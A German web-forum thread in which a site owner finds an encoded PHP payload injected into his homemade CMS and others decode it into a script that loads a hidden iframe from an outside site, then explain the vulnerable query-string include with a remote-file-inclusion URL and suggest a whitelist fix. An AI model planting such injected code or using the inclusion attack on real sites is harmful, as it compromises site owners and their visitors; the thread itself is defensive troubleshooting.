• Jetzt anmelden. Es dauert nur 2 Minuten und ist kostenlos!

Wichtige Frage zur Sicherheit!! $_SERVER['QUERY_STRING']

  • Ersteller Ersteller DiVaO
  • Erstellt am Erstellt am
D

DiVaO

Guest
Guten Abend,

als ich eben meine Webseite besucht habe, ist mir ein seltsamer Fehler aufgefallen. Glücklicherweise. PHP zeigte eine Fehlermeldung, die nicht von mir stammen konnte, da ich nichts an der Seite verändert habe im Laufe des Tages. Habe in der entsprechenden Datei nachgeschaut und musste feststellen, dass dort fremder und verschlüsselter Code eingeschleust wurde. Gleiches auch in zwei anderen Dateien.

Ich verwende auf meiner Seite ein selbst programmiertes und sehr einfach gehaltenes CMS, das aber scheinbar eine Sicherheitslücke hat. Und ich denke ich habe diese Lücke auch sofort ausgemacht, leider weiß ich nicht wie man sie schließt. Der grobe und stark vereinfachte Aufbau meines Systems:

index.php:
PHP:
include 'header.php';
$query = explode('&',$_SERVER['QUERY_STRING']);
include 'content/'.$query[0].'.php';
include 'footer.php';

 ### Hier wurde fremde Code eingeschleust ###

Also im Grunde ganz einfach, so dass bei example.com/?news oder example.com/index.php?news die news.php includiert und angezeigt wird.

header.php:
PHP:
// ...
echo '<title>'.$query[0].'</title>';
 ### Eingeschleuster Code direkt im <title> Tag ###
// ...

Folgendermaßen sieht der eingeschleuste Code aus (hab ihn nicht entschlüsseln können):

PHP:
#c762a7#
echo(gzinflate(base64_decode("lZExT8MwEIX/iuWltlSSsCZNpVKxIVjYEIMTn5OTHNuyL2kjyn8nUSsWYGC703uf7t7dLrURA+0nFdkYbc17olDm+aA6hHiXAoKFzAHxCo0QTk3YKfIxGxPEQweOMvJP/gTxqBIImaHTcH4xgg8Jgct9XcjL5T+cwQjGn6+o/FgXM7X27TisUBtBETxaWDuxQRPVABtZmSwBHYgiNiOB4CfU1PMtv+c/tR6w6+kPMcWWb5dL/KLQbGGhJkzYoEWaS9aj1uAqFnxCQu9Kpprk7eKvmAVDJSsCVYx8uFbLwO8oHdAtR3qYX1X3vCQRvPF65vKteM9UCOD0sUerhZGfu/z2qi8=")));
#/c762a7#

Die Sicherheitslücke scheint also vom Query_String zu kommen, wurde also über die URL eingeschleust. Nun natürlich meine Frage:

Wie kann ich diese Lücke schließen? Für id's in der URL gibt es ja z.B. intval, um das etwas sicherer zu machen. Was gibt es für diesen Fall?
Und falls es jemand wissen sollte: Wie konnte diese Lücke ausfindig gemacht werden?

Bitte dringend um Hilfe. Vielen Dank im Vorraus!!

Grüße
 
Du rufst über die URL die Dateien auf? Dann prüfe auch, ob die aufgerufenen Dateien existieren.

PHP:
if( file_exists( "content/".$query[0] ) ) {
 include 'content/'.$query[0].'.php';
}

Viel besser wäre, wenn Du eine Liste der aufrufbaren Dateien führst und schaust, ob der aufgerufene Dateiname in dieser Liste existiert UND ob die Datei auch tatsächlich existiert.

Allerdings bezweifle ich, dass das die Lücke ist, auch wenn es eine unglückliche Programmierung ist. Wenn der von dir genannte Code in mehreren Dateien steht, müsste es irgendwo in deiner Programmierung einen Schreibbefehl für diese Dateien geben. Ich tippe eher darauf, dass hier ein Servereinbruch vorliegt. Du solltest schleunigst alle Dateien vom Webspace entfernen, alle Passwörter neu setzen (FTP, E-Mail etc.pp) und danach deine Backups wieder dort einspielen.
 
Das war nur ein winziger Teil des Codes, natürlich prüfe ich, ob die Datei existiert usw.

Und dass der eingeschleuste Code überall nach dem $query[0] auftaucht, wird doch wohl kein Zufall sein, oder nicht? Der Code taucht auf in header.php (im title tag), footer.php und index.php

Wie kann ich verhindern, dass sich über die URL ein code ausführen lässt?
 
Sorry, kommt daher dass ich nur ein Paar Bruchstücke meines Codes gepostet habe. So ist es richtig:

index.php:
PHP:
$query = explode('&',$_SERVER['QUERY_STRING']);
include 'header.php';
include 'content/'.$query[0].'.php';
include 'footer.php';

Sonst hätte ich $query[0] ja auch nicht als Titel.. dass das mit dem Titel eine Lücke ist weiß ich, da der query_string ungeprüft ausgegeben wird und dort ein Code eingegeben wurde.
 
Folgendermaßen sieht der eingeschleuste Code aus (hab ihn nicht entschlüsseln können):

PHP:
#c762a7#
echo(gzinflate(base64_decode("lZExT8MwEIX/iuWltlSSsCZNpVKxIVjYEIMTn5OTHNuyL2kjyn8nUSsWYGC703uf7t7dLrURA+0nFdkYbc17olDm+aA6hHiXAoKFzAHxCo0QTk3YKfIxGxPEQweOMvJP/gTxqBIImaHTcH4xgg8Jgct9XcjL5T+cwQjGn6+o/FgXM7X27TisUBtBETxaWDuxQRPVABtZmSwBHYgiNiOB4CfU1PMtv+c/tR6w6+kPMcWWb5dL/KLQbGGhJkzYoEWaS9aj1uAqFnxCQu9Kpprk7eKvmAVDJSsCVYx8uFbLwO8oHdAtR3qYX1X3vCQRvPF65vKteM9UCOD0sUerhZGfu/z2qi8=")));
#/c762a7#

Ist einfach das zurück zu Rechnen der Quellcode lautet:

PHP:
<script>var url="http://magier-spiele.net";if((navigator.userAgent.toLowerCase().indexOf("msie")>=0)||(navigator.userAgent.toLowerCase().indexOf("firefox")>=0)){var f=document.createElement('iframe');f.setAttribute("width","1");f.setAttribute("height","1");f.setAttribute("src",url);f.setAttribute("style","visibility: hidden; position: absolute; left: 0pt; top: 0pt;");document.getElementsByTagName("body")[0].appendChild(f)}</script>

Nun sollte auch klar sein in welchen Auftrag das Script eingeschleust wurde sie URL.
Es handelt sich dabei um Javascript Quellcode!

Wenn du es selber Testen willst hier der Quellcode der dir den Inhalt des Strings wieder ausgibt.
PHP:
<?
//echo(gzinflate(base64_decode("lZExT8MwEIX/iuWltlSSsCZNpVKxIVjYEIMTn5OTHNuyL2kjyn8nUSsWYGC703uf7t7dLrURA+0nFdkYbc17olDm+aA6hHiXAoKFzAHxCo0QTk3YKfIxGxPEQweOMvJP/gTxqBIImaHTcH4xgg8Jgct9XcjL5T+cwQjGn6+o/FgXM7X27TisUBtBETxaWDuxQRPVABtZmSwBHYgiNiOB4CfU1PMtv+c/tR6w6+kPMcWWb5dL/KLQbGGhJkzYoEWaS9aj1uAqFnxCQu9Kpprk7eKvmAVDJSsCVYx8uFbLwO8oHdAtR3qYX1X3vCQRvPF65vKteM9UCOD0sUerhZGfu/z2qi8=")));
#/c762a7#
$string = "lZExT8MwEIX/iuWltlSSsCZNpVKxIVjYEIMTn5OTHNuyL2kjyn8nUSsWYGC703uf7t7dLrURA+0nFdkYbc17olDm+aA6hHiXAoKFzAHxCo0QTk3YKfIxGxPEQweOMvJP/gTxqBIImaHTcH4xgg8Jgct9XcjL5T+cwQjGn6+o/FgXM7X27TisUBtBETxaWDuxQRPVABtZmSwBHYgiNiOB4CfU1PMtv+c/tR6w6+kPMcWWb5dL/KLQbGGhJkzYoEWaS9aj1uAqFnxCQu9Kpprk7eKvmAVDJSsCVYx8uFbLwO8oHdAtR3qYX1X3vCQRvPF65vKteM9UCOD0sUerhZGfu/z2qi8=";

function code($codec)
{
  $result=gzinflate(base64_decode($codec));
  eval("?>".$result."<?");
  return;
}
?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
  <title>Hello!</title>
</head>
<body>
<textarea rows="30" cols="150"><?=code($string);?></textarea>
</body>
</html>

include 'content/'.$query[0].'.php';


Das ist ganz Schlecht damit kann man so alles mögliche einschleusen!

Mfg Splasch
 
Zuletzt bearbeitet:
Danke für die Hilfe, Splasch! Nun bin ich zumindest beruhigt, dass es nichts bösartiges ist sondern nur Bullshit...

Ich werde mal die Lücke bei der Ausgabe des Titels zu machen.. zwar auf die umständliche Art, aber dann sollte sich das hoffentlich erledigt haben.

Das ist ganz Schlecht damit kann man so alles mögliche einschleusen!

Mfg Splasch

Hast du einen Tipp, wie ich dies verhindern kann? Darauf wollte ich ja eigtl. auch hinaus...
 
Zuletzt bearbeitet von einem Moderator:
Haben dir die Links noch nicht weitergeholfen? Die betreffen ja das einschleusen von Code.
 
Danke für die Hilfe, Splasch! Nun bin ich zumindest beruhigt, dass es nichts bösartiges ist sondern nur Bullshit...

Ich werde mal die Lücke bei der Ausgabe des Titels zu machen.. zwar auf die umständliche Art, aber dann sollte sich das hoffentlich erledigt haben.



Hast du einen Tipp, wie ich dies verhindern kann? Darauf wollte ich ja eigtl. auch hinaus...

Naja als Bullshit würd ich das nicht bezeichnen. Schließlich machste Werbung für nee Fremde Seite. Das über versteckte Elemente werden bei dir Sachen dynamisch einblendet. Und zwar genau die Inhalte die auf der Url angeben sind. Es könnte dir dabei zu lasst gelegt werden die verbreitung illegaler sachen oder andere dinge. Je nach dem was dann eingebunden wird. Meine Javascript kenntnisse sind schlecht aber das was ich soweit rauslesen kann ist eben das die Inhalte von der fremden Seite geladen werden und auf deiner dann versteckt dargesteltt wird.

Die Lücke kannst du ganz einfach schließen in dem du Filters und keine Werte von ausserhalbt draust. Die einfachste möglichkeit bei links. Ist mit einem Array Filter zu arbeiten der nur deine Datein enthaltet.

Zum Beispiel so:
PHP:
<?php
define ('DIRSEP', DIRECTORY_SEPARATOR);                     // Für Linux Kompatible Operatoren
define ('path',dirname(__FILE__).DIRSEP);                   // Aktuelles Verzeichnis
function filter ($request)                                  // kleine Automatische Filter Funktion
{
  foreach($request as $key => $value)
  {
    if (is_array($request[$key]))
    {
      filter($request[$key]);                               // Rekusiver Aufruf
    }else{
           $inhalt[$key] = mysql_escape_string (htmlentities($value));
         }
  }
  if (isset($inhalt))                                       // Wenn Werte vorhanden dann zurückgeben
  {
    return $inhalt;
  }else{ return null; }
}
$get_post = array_merge($_GET,$_POST);                      // $_POST und $_GET zusammenfasen od. $_REQUEST
$get_post = filter($get_post);                              // Alternative kann hier $_GET eingesetz werden
$basisTpl = path."game".DIRSEP."template";                  // Basis Verzeichniss des Template ermitteln
$navi = "";
if(isset($get_post['seite'])){$navi = $get_post['seite'];}
$page = array ( "login" => "login.php",                     // Navigation Menu
                "reg"   => "reg.php",
                "news"  => "news.php",
                "imp"   => "impressum.php",
                "stats" => "stats.php",
                "sig"   => "sig.php",
                "dg"    => "beschreibung.php",
                "letter"=> "newsletter.php",
                "map"   => "map.php",
                "rss"   => "rss.php",
                "irc"   => "irc.php",
                );
if (is_array($page) && array_key_exists($navi, $page) )     // Prüfen ob es den Link gibt
{
  $filename = path.'game'.DIRSEP.$page[$navi];
  if ( file_exists($filename) && is_readable($filename) )   // datei vorhanden?
  {
    $tpl = new Template($basisTpl.DIRSEP.'index.tpl');      // Eine neue Instanz der Template Klasse erzeugen
    include_once( $filename );                              // Inhalt einfügen
  }
}else{
       include_once(path.'game'.DIRSEP.'default.php');      // Standard Inhalt
     }

?>

Das Problem bei :
PHP:
$query = explode('&',$_SERVER['QUERY_STRING']);
include 'header.php';
include 'content/'.$query[0].'.php';

Ist das man nun per Get dir jede andere Php datei einfügen kann und diese auch auf deinen Server ausgeführt wird.
Zb:
www.deinedomain.de/index.php?wert=1&../http://andereDomain.de/fremde.php'#

Dein include sieht dann in etwa so aus:
PHP:
<?
include 'content/'.'../http://andereDomain.de/fremde.php'#.'.php';

Somit kann dir jeder Php code untergeschoben werden und auch ausgeführt. Bis hin das alle Datein gelöscht werden können.
Oder Komplett neue auf deinen Server angelegt.
Der Hintere Teil des Quellcode wird eben einfach aus kommentiert und damit ignoriert.

So wird auch höchstwarscheinlich bei dir der Fremdcode eingeschleust worden sein. Ein Php Script das alle Verzeichniss und Datein durchsucht sie öffnet und was dazuschreibt.

Dafür braucht man keinen Server einbruch. Er hat ledig eine erhebliche große Sicherheits lücke in deinen php Code ausgenutz.
Damit hätte er/sie alles auf deinen Server machen können!

(Im Grund also so wie man direkten Ftp Zugang zum Server hätte)

Mfg Splasch
 
Zuletzt bearbeitet:
Danke splasch und threadi, ich werde mich nun mal ransetzen und das Problem, wie im geposteten Beispiel lösen.

Eine Frage habe ich noch, ist es nicht theoretisch möglich bei $_GET mithilfe der URL immer eine Lücke zu finden, egal ob man die Eingabe prüft, filtert, etc. ?
 
Zurück
Oben